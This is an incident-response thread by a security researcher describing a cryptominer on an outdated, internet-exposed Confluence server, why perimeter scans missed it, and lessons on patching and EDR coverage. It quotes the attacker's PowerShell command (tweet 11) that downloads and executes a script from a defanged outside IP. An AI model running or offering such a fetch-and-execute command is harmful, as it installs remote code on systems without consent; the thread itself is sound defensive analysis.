Thread by @malmoeb

1/ Customer receives an email from a network monitoring device that a host is supposedly infected with a #CoinMiner. The Task Manager on the said system shows the following screenshot 🤕.

A story of an unpatched system, incorrect scoping, and 🍀. 🧵

#CyberSecurity

2/ The affected (and remotely accessible) server have had Confluence installed.

One of my first questions I asked the customer was if the system was up to date (Spoiler: it wasn't).

Confluence 6.0.4 was installed at the time of the incident.

3/ Confluence 6.0.4 was released in January 2017 🤯

4/ The system was also exposed on the Internet last year when hundreds of vulnerable Confluence instances were compromised with CVE-2022-26134. [2],[3]

5/ Interestingly, Shodan shows the status code 503, Service Unavailable, for the service listening on port 443.

The Shodan scanner and potentially all other scanners did not find this instance at all, although exposed on the Internet and reachable (tested).

6/ The customer ran several web services on this server, served by a WebDisaptcher (based on the host header).

A request with an IP-Only host header could, therefore, not be successful.

7/ Testing the above theory with curl:

# curl -Lvko/dev/null -H "host:foobar.ch" <confluence_ip> 2>&1 | egrep 'HTTP|location'

> GET / HTTP/1.1
* HTTP 1.0, assume close after body
< HTTP/1.0 503 Service Unavailable

8/ The affected company had two external perimeter scans performed by two companies.

The system was both times not found because the customer did not give the tester the full IP ranges for the tests. They were supposed to OSINT, which IP ranges belonged to the customer 🤷‍♂️

9/This might be a good approach at one point (when you really think you know your perimeter well enough), but at least in a lot of our IR investigations, companies lost track of the exposed services they have on their IP range.

10/ The miner on the affected server used the default XMR address. This behavior always makes me think of the tweet from Florian:

https://twitter.com/cyb3rops/status/1452197798947041284

11/ PowerShell Script Block Logging to the rescue:

IEX (New-Object System.Net.Webclient).DownloadString('hXXp://175.118.126[.]65:8002/js/wi.txt')

12/ At the time of our analysis, the PowerShell code was still available to download (respectively still is). [1]

This miner was the only attack trace found on this server 🤞

13/ Assess your perimeter. Patch your software. Ensure that an EDR is on all hosts (yep - the customer had an EDR but not on this host..)

14/ References

[1] virustotal.com/gui/url/723b1d…
[2] malware.news/t/cases-of-att…
[3] darktrace.com/blog/detection…